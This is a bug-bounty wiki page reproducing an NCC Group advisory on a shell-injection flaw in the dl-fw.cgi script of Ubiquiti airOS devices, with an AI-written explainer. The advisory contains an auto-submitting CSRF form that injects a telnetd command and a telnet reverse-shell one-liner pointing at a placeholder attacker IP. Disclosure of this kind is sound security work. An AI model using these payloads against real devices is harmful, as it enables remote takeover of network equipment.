Skip to content
RCE Disclosed report Intermediate

Shell Injection via Web Management Console (dl-fw.cgi)

The dl-fw.cgi script on Ubiquiti airOS devices fails to sanitise the fw_url parameter, allowing an attacker to inject arbitrary shell commands. An attacker could execute commands on the device, for example starting a telnet service or opening a reverse shell.

mornaner Follow

Originally disclosed on HackerOne

  • Triaged in 37 hours
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 7 months

NCC Group Security Advisory https://www.nccgroup.trust

Shell Injection via Web Management Console

Vendor: Ubiquiti Networks Vendor URL: https://www.ubnt.com Versions affected: airOS XM board line (potentially all airOS lines, unverified) Systems Affected: AG-HP-2G16, AG-HP-2G20, AG-HP-5G23, AG-HP-5G27, AirGrid M, AirGrid M2, AirGrid M5, AR, AR-HP, BM2HP, BM2-Ti, BM5HP, BM5-Ti, LiteStation M5, locoM2, locoM5, locoM9, M2, M3, M365, M5, M900, NB-2G18, NB-5G22, NB-5G25, NBM3, NBM365, NBM9, NSM2, NSM3, NSM365, NSM5, PBM10, PBM3, PBM365, PBM5, PICOM2HP, Power AP N (Verified on AR-HP running firmware v5.6.3) Author: Joel St. John <joel.stjohn[at]nccgroup[dot]trust> Risk: High

Summary:

The dl-fw.cgi script does not properly sanitize URLs passed via the fw_url parameter, allowing arbitrary shell commands to be provided as part of the input.

Location:

/usr/www/dl-fw.cgi

Impact:

This issue can be used to execute arbitrary shell commands on the device.

Details:

The airOS XM, XW, and TI lines (and potentially others) all contain a utility script called dl-fw.cgi that is hosted in the webroot. This script is used in conjunction with other functionality to download/display EULAs and download firmware updates.

This script can be called directly via POSTs, since it is within the webroot. On Line 62-63, the script executes the following using a specified fw_url parameter:

62: $cmd = "$cmd_wget -O $firmware_file --header='Referer: $eula_url ' $fw_url > $progress_file 2>&1"; 63: exec($cmd, $lines, $res);

No sanitization is performed on fw_url, which allows an attacker to specify arbitrary shell commands which are in turn passed to exec. For instance, the following example uses the URL http://www.nccgroup.trust/testtest123/telnetd, along with a cross-site request forgery attack to start the telnet service:

<html> <body> <form action="https://192.168.1.1/dl-fw.cgi" method="POST"> <input type="hidden" name="action" value="download" /> <input type="hidden" name="fw&#95;url" value="http&#58;&#47;&#47;www&#46;nccgroup&#46;trust&#47;testtest123&#47;&#96;telnetd&#96;" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

This can also be used to open a reverse shell via telnet, for instance by injecting:

telnet <attacker ip> <port1> | /bin/sh | telnet <attacker ip> port2

Recommendation:

Sanitize the fw_url parameter to remove/encode shell metacharacters using EscapeShellCmd (as done elsewhere) or similar methods.

About NCC Group:

NCC Group is a global expert in cyber security and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. Our Security Consulting services leverage our extensive knowledge of current security vulnerabilities, penetration testing techniques and software development best practices to enable organizations to secure their applications against ever-present threats. At NCC Group we can boast unrivaled talent and recognized world-class security expertise. Bringing together best in class security consultancies iSEC Partners, Intrepidus Group, Matasano, NCC Group and NGS we have created one of the largest, most respected security consultancies in the world.

The original report as published on HackerOne, by mornaner. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The fw_url parameter is passed directly into a shell command without sanitisation, allowing shell metacharacters to be interpreted.

Impact

An attacker could execute arbitrary shell commands on the device.

What the attacker needed

Access to the web management interface; victim visits a malicious page (for CSRF)

The fix

The fw_url parameter should be sanitised to remove or encode shell metacharacters, for example using EscapeShellCmd.

How it was found

  1. Craft a POST request to /dl-fw.cgi with action=download and a malicious fw_url containing shell commands.
  2. Deliver the request to the victim, for example via a cross-site request forgery page that auto-submits the form.
  3. The device executes the injected commands, such as starting telnetd.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a command injection bug. The device's web interface has a script that takes a URL from the user and runs a system command with it. Because the URL is not cleaned, an attacker can add extra shell commands that the device will run, giving them control over the device.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by mornaner

View all

2 more disclosed reports, best first.

More from Ubiquiti Inc.

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.